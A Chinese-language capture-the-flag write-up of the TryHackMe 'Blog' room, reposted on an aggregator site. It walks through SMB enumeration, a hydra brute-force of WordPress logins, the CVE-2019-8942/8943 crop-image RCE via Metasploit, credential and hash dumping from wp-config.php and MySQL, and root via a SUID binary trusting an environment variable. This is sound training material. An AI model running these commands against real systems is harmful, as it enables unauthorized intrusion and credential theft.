TryHackMe-Blog

news2024/11/18 3:43:35

Blog

比利·乔尔(Billy Joel)在他的家用电脑上写了一个博客,并开始工作。这将是非常棒的!

枚举此框并找到隐藏在其上的 2 个标志!比利的笔记本电脑上有一些奇怪的事情。你能四处走动并得到你需要的东西吗?还是你会掉进兔子洞…

为了使博客与 AWS 配合使用,您需要将 blog.thm 添加到 /etc/hosts 文件中。


端口扫描

循例 nmap 扫:

┌──(root🐦kali)-[/home/sugobet]
└─# nmap -sS 10.10.44.0 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-14 20:28 CST
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.84% done; ETC: 20:29 (0:00:00 remaining)
Nmap scan report for blog.thm (10.10.44.0)
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

smb枚举

┌──(root🐦kali)-[/home/sugobet]
└─# smbmap -H 10.10.44.0                                  
[+] Guest session   	IP: 10.10.44.0:445	Name: blog.thm                                          
        Disk                                                  	Permissions	Comment
    ----                                                  	-----------	-------
    print$                                            	NO ACCESS	Printer Drivers
    BillySMB                                          	READ, WRITE	Billy's local SMB Share
    IPC$                                              	NO ACCESS	IPC Service (blog server (Samba, Ubuntu))

smbclient连进去,有几个文件,图片有隐写,但是没什么有用的东西

┌──(root🐦kali)-[/home/sugobet]
└─# smbclient //10.10.44.0/BillySMB                 
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
.                                   D        0  Sat Jan 14 20:30:49 2023
..                                  D        0  Wed May 27 01:58:23 2020
Alice-White-Rabbit.jpg              N    33378  Wed May 27 02:17:01 2020
tswift.mp4                          N  1236733  Wed May 27 02:13:45 2020
check-this.png                      N     3082  Wed May 27 02:13:43 2020

Web检索

进web看看:

查看主页源代码:

44 <meta name="generator" content="WordPress 5.0" />

我们得到了wp的版本,当然使用wappalyzer也得到相同的结果

登录页面:

http://blog.thm/wp-login.php

任意输入一些数据,发现:

ERROR: Invalid username

我们在前面检索web的时候,主页中文章的作者:

 By Karen Wheeler -> http://blog.thm/author/kwheel/
By Billy Joel -> http://blog.thm/author/bjoel/

我们得知用户名应该是:

kwheel
bjoel

使用任意密码进行登录,发现两个用户都存在

hydra爆破

使用F12打开浏览器开发者工具,切换到Network模块,抓登录包,查看请求表单的数据并切换到原始:

log=bjoel&pwd=qwe&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1

创建./test1.txt,将两个用户名添加进去

hydra:

┌──(root🐦kali)-[/home/sugobet]
└─# hydra -L ./test1.txt -P /usr/share/wordlists/rockyou.txt 10.10.44.0 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1:incorrect"

结果:

[80][http-post-form] host: 10.10.44.0   login: kwheel   password: cutiepie1

成功登录进后台

CVE-2019-8943 & CVE-2019-8943

通过CVE-2019-8942,攻击者可以将_wp_attached_file的meta_key(用于检索存储在数据库中的值并显示它)修改为任意值。利用该漏洞需要发送post请求,一般正常的请求不会在请求中包含文件参数,而攻击者创建的请求中通过携带文件参数对_wp_attached_file的meta_key进行更新

可以将CVE-2019-8942的攻击与另一个漏洞CVE-2019-8943连接起来,后者可以让攻击者将上传的文件移动到可以成功执行嵌入式PHP代码的任意目录中。

CVE-2019-8943。在wp-admin/include /image.php中的wp_crop_image函数(允许WordPress用户将图像裁剪到给定的大小或分辨率)中,php在保存文件之前不会验证.dst(绘图表文件)的文件路径。

wp_crop_image函数试图访问本地文件

一旦修改了meta_key中的文件名,文件(例如图3中的evil1.jpg?../和…/evil1.jpg)将不会在upload目录中找到。因此,它将回退到wp_crop_image函数中的下一个If条件,并尝试通过URL访问该文件。此步操作需要在WordPress站点中安装文件复制插件。请求如下所示:

/evil1.jpg?../../evil1.jpg

在加载图像时,“?”之后的路径将被忽略。图像加载后,攻击者可以裁剪图像,它将遵循路径遍历并将其保存在任意目录中。

参考文章:https://www.163.com/dy/article/E977V9KN0511CJ6O.html


Get shell

了解完原理,这里我选择使用msf快速上线

exploit/multi/http/wp_crop_rce

拿到shell后发现user.txt在bjoel的家目录下,是假的:

find / -type f -name user.txt 2>/dev/null

也没找到,先不管了

有个声音一直在提醒我,第一时间先找config配置文件 - 横向移动

bjoel用户刚刚在wp中是存在该用户的,不妨我们假设该用户ssh使用与wp相同的密码

wp-config.php查看到数据库用户名和密码:

/** MySQL database username */
define('DB_USER', 'wordpressuser');

/** MySQL database password */
define('DB_PASSWORD', 'LittleYellowLamp90!@');

结果:

mysql> select * from wp_users
select * from wp_users
    -> ;
;
+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
| ID | user_login | user_pass                          | user_nicename | user_email                   | user_url | user_registered     | user_activation_key | user_status | display_name  |
+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
|  1 | bjoel      | $P$BjoFHe8zIyjnQe/CBvaltzzC6ckPcO/ | bjoel         | nconkl1@outlook.com          |          | 2020-05-26 03:52:26 |                     |           0 | Billy Joel    |
|  3 | kwheel     | $P$BedNwvQ29vr1TPd80CDl6WnHyjr8te. | kwheel        | zlbiydwrtfjhmuuymk@ttirv.net |          | 2020-05-26 03:57:39 |                     |           0 | Karen Wheeler |
+----+------------+------------------------------------+---------------+------------------------------+----------+---------------------+---------------------+-------------+---------------+
2 rows in set (0.00 sec)

hashcat 爆破

使用haiti-hash帮助快速识别hash类型:

┌──(root🐦kali)-[/home/sugobet]
└─# haiti '$P$BjoFHe8zIyjnQe/CBvaltzzC6ckPcO/'
Wordpress ≥ v2.6.2 [HC: 400] [JtR: phpass]
Joomla ≥ v2.5.18 [HC: 400] [JtR: phpass]
PHPass' Portable Hash [HC: 400] [JtR: phpass]

hashcat:

┌──(root🐦kali)-[/home/sugobet]
└─# hashcat -a 0 -m 400 '$P$BjoFHe8zIyjnQe/CBvaltzzC6ckPcO/' /usr/share/wordlists/rockyou.txt

结果没爆出来,666

权限提升

find / -type f -perm -u+s 2>/dev/null

发现可疑的程序:

www-data@blog:/var/www/wordpress$ ls -la /usr/sbin/checker
ls -la /usr/sbin/checker
-rwsr-sr-x 1 root root 8432 May 26  2020 /usr/sbin/checker
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
/usr/sbin/checker
Not an Admin

估计是调用了什么东西来识别我们的权限

使用ltrace追踪一下

www-data@blog:/var/www/wordpress$ ltrace /usr/sbin/checker
ltrace /usr/sbin/checker
getenv("admin")                                  = nil
puts("Not an Admin"Not an Admin
)

获取环境变量admin的值来判断的

盲猜,伪代码:

if getenv("admin") == "Admin"

:

www-data@blog:/var/www/wordpress$ export admin=Admin
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
root@blog:/var/www/wordpress# whoami
root

成功getroot

user.txt

root@blog:/var/www/wordpress# find / -type f -name user.txt 2>/dev/null
find / -type f -name user.txt 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt

root.txt还在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/163961.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝队常用的攻击手段

目录 一&#xff0c; 漏洞利用 1.1 SQL 注入漏洞 1.2 跨站漏洞 1.3 文件上传或下载漏洞 1.4 命令执行漏洞 1.5 敏感信息泄露漏洞 在实战过程中&#xff0c;蓝队专家根据实战攻防演练的任务特点逐渐总结出一套成熟的做法:外网纵向突破重点寻找薄弱点&#xff0c;围绕薄弱点…

2022 VeLO: Training Versatile Learned Optimizers by Scaling Up

VeLO: Training Versatile Learned Optimizers by Scaling Up 通过扩展模型的规模来训练一个通用的优化器。 设计上&#xff0c;优化器的原理基于元学习的思路&#xff0c;即从相关任务上学习经验&#xff0c;来帮助学习目标任务。 相比迁移学习&#xff0c;元学习更强调获取元…

2023年批量下载和改名音频专辑(单页列表)

一、下载原理 1&#xff09;找到目标音频的专辑网页&#xff0c;这里以 kite runner mp3为例。&#xff08;需要自己找&#xff09; https://www.xi___ma___la_____ya.com/album/71718770 2&#xff09;进入详细页&#xff08;称为一次请求URL&#xff09;&#xff08;不需要…

JUC(java.util.concurrent)的常见类

文章目录一、JUC常见类Callable 接口ReentrantLockSemaphore(信号量)CountDownLatch一、JUC常见类 concurrent代表了并发&#xff0c;这个包下为我们提供了并发编程(多线程)相关的组件. Callable 接口 我们的Callable接口和Runnable是一样的&#xff0c;但也有一些区别: Run…

C/C++实现跨年表白烟花

跨年表白烟花使用c/c实现烟花效果&#xff08;小白进&#xff09;分析诉求&#xff0c;拆分问题头文件贯穿全文的媒体部分文字部分&#xff1a;进入烟花弹部分烟花弹的属性初始化烟花弹让烟花弹飞起来烟花爆炸烟花弹的属性初始化烟花让烟花炸起来完成代码&#xff1a;使用c/c实…

840个最优的机器学习python开源项目整理分享

本资源包含了840个很棒的机器学习开源项目&#xff0c;总共270万颗星分为32个类别。所有项目均按项目质量得分排名&#xff0c;该得分是根据从GitHub和不同程序包管理器自动收集的各种指标计算得出的。资源整理自网络&#xff0c;资源获取见源地址&#xff1a;https://github.c…

三星手机提取微信聊天数据

三星手机提取微信聊天数据的方法&#xff0c;无需root。 注意&#xff0c;暴力破解密码需要英伟达显卡&#xff0c;一小时内破解&#xff0c;无显卡可能要两天。 1. 安装USB驱动&#xff0c;通过S换机助手&#xff0c;备份微信软件至电脑。注意&#xff0c;选择不加密。 三星…

[硬核] Bootstrap Blazor Table 综合演示例子

知识点: 1.导入导出 2.分页功能 3.增删改查 4.批量删除 5.批量编辑(审核) 6.列排序与列搜索 7.顶部搜索实现所有列搜索 8.高级搜索实现多条件搜索 9.顶部与刷新与视图列 10.实现文本类型明细行 11.列的统计 12.隐藏列,时间日期列格式化 13.新窗口打开 14.随机数据 15.自由编辑…

DVWA靶机CSRF全难度(未完)

目录 Low难度 medium难度 Cross Site Request Forgery跨站的请求伪造 原理&#xff1a;利用受害者尚未失效的身份认证信息、会话&#xff1b;诱骗其访问黑客设计号的页面&#xff0c;在受害人不知情的情况下以受害人的身份向服务器发送请求完成非法操作 Low难度 源代码 &l…

十二、RabbitMQ 报错汇总

&#x1f33b;&#x1f33b; 目录一、报版本过低问题一、报版本过低问题 问题&#xff1a; error: Failed dependencies: libcrypto.so.1.1()(64bit) is needed by erlang-25.1.2-1.el8.x86_64 libcrypto.so.1.1(OPENSSL_1_1_0)(64bit) is needed by erlang-25.1.2-1.el8.x86_…

基于模糊控制的自平衡小车的研究

1、内容简介略635-可以交流、咨询、答疑2、内容说明随着人类文明的发展&#xff0c;传感器技术、计算机应用技术、机械学、微电子技术、通讯技术以及人工智能技术也得到了飞速的发展。进入21世纪后&#xff0c;在机器人学和机器人技术领域&#xff0c;自平衡小车已成为其中的重…

LeetCode 2293. 极大极小游戏

【LetMeFly】2293.极大极小游戏 力扣题目链接&#xff1a;https://leetcode.cn/problems/min-max-game/ 给你一个下标从 0 开始的整数数组 nums &#xff0c;其长度是 2 的幂。 对 nums 执行下述算法&#xff1a; 设 n 等于 nums 的长度&#xff0c;如果 n 1 &#xff0c;…

【OpenCV】形态学操作 | 图像平滑 | 边缘检测 | Laplacian算子

Ⅰ. 形态学操作 0x00 腐蚀和膨胀 腐蚀和膨胀是最基本的形态学操作&#xff0c;腐蚀和膨胀都是针对白色部分&#xff08;高亮部分&#xff09;而言的。 膨胀就是使图像中的高亮部分扩张&#xff0c;效果图拥有比原图更大的高亮区域&#xff1b;腐蚀是原图中的高亮区域被蚕食&…

C语言文件补充笔记2:VS查看定义、文件章节涉及到的函数

1 VS查看函数的定义与库的原码 &#xff08;1&#xff09;查看库函数的定义 右击要查看的函数&#xff0c;然后“转到定义” 这里就跳转到了定义的所在文件 在右上角关闭相关文件 &#xff08;2&#xff09; 查看库原码 将鼠标放到导入的库中&#xff0c;然后右击&#…

给数组创建复制(深拷贝)给数组创建复制(深拷贝)

【小白从小学Python、C、Java】 【计算机等级考试500强双证书】 【Python-数据分析】 数组的深拷贝、浅拷贝、引用拷贝 修改原数组不会影响复制后的数组 numpy.copy() [太阳]选择题 对于以下python代码最后输出的结果是? import numpy as np print("【执行】a np.arang…

awesome平铺窗口使用笔记

这个故事要从vim开始。从入了vim的坑以后&#xff0c;就爱上了平铺窗口模式。在macOS中就开始使用yabai。使用了yabai以后&#xff0c;就很大程序可以用键盘完成大部分操作了。然后我开始用linux&#xff0c;使用的是i3wm。感觉非常不错&#xff0c;几乎就与vim中的窗口管理差不…

[Android Studio] 如何查看Android Studio的版本信息

&#x1f7e7;&#x1f7e8;&#x1f7e9;&#x1f7e6;&#x1f7ea; Android Debug&#x1f7e7;&#x1f7e8;&#x1f7e9;&#x1f7e6;&#x1f7ea; Topic 发布安卓学习过程中遇到问题解决过程&#xff0c;希望我的解决方案可以对小伙伴们有帮助。 &#x1f4cb;笔记目…

命令行批量 PDF 转换器:2PDF 2.0.8x Crack

命令行 PDF 转换器 2PDF 是一个专业的命令行实用程序&#xff0c;用于以批处理模式将办公文档和图像转换为 PDF。2PDF 基于命令行界面和语法&#xff0c;通过简单的标准命令提供对批量转换为 PDF 的完全控制。 从 Windows 命令提示符将文档和图像转换为 PDF 2PDF 可以将 PDF 和…

面试官问我微服务注册中心如何保证数据强一致性?头秃了。。。

目录 1、再回顾&#xff1a;什么是服务注册中心&#xff1f;2、Consul服务注册中心的整体架构3、Consul如何通过Raft协议实现强一致性&#xff1f;4、Consul如何通过Agent实现分布式健康检查&#xff1f; 1、再回顾&#xff1a;什么是服务注册中心&#xff1f; 先回顾一下什么…

Promise 详解

Promise 详解示例一个抽奖小游戏原生 JavaScript 实现Promise 实现读取文件原生 JavaScript 实现Promise 实现Promise 对象Promise 对象的状态Promise 对象的创建Promise 对象的状态的改变pending 转换为 fulfilledpending 转换为 rejected与 Promise 对象相关的 APIPromise.th…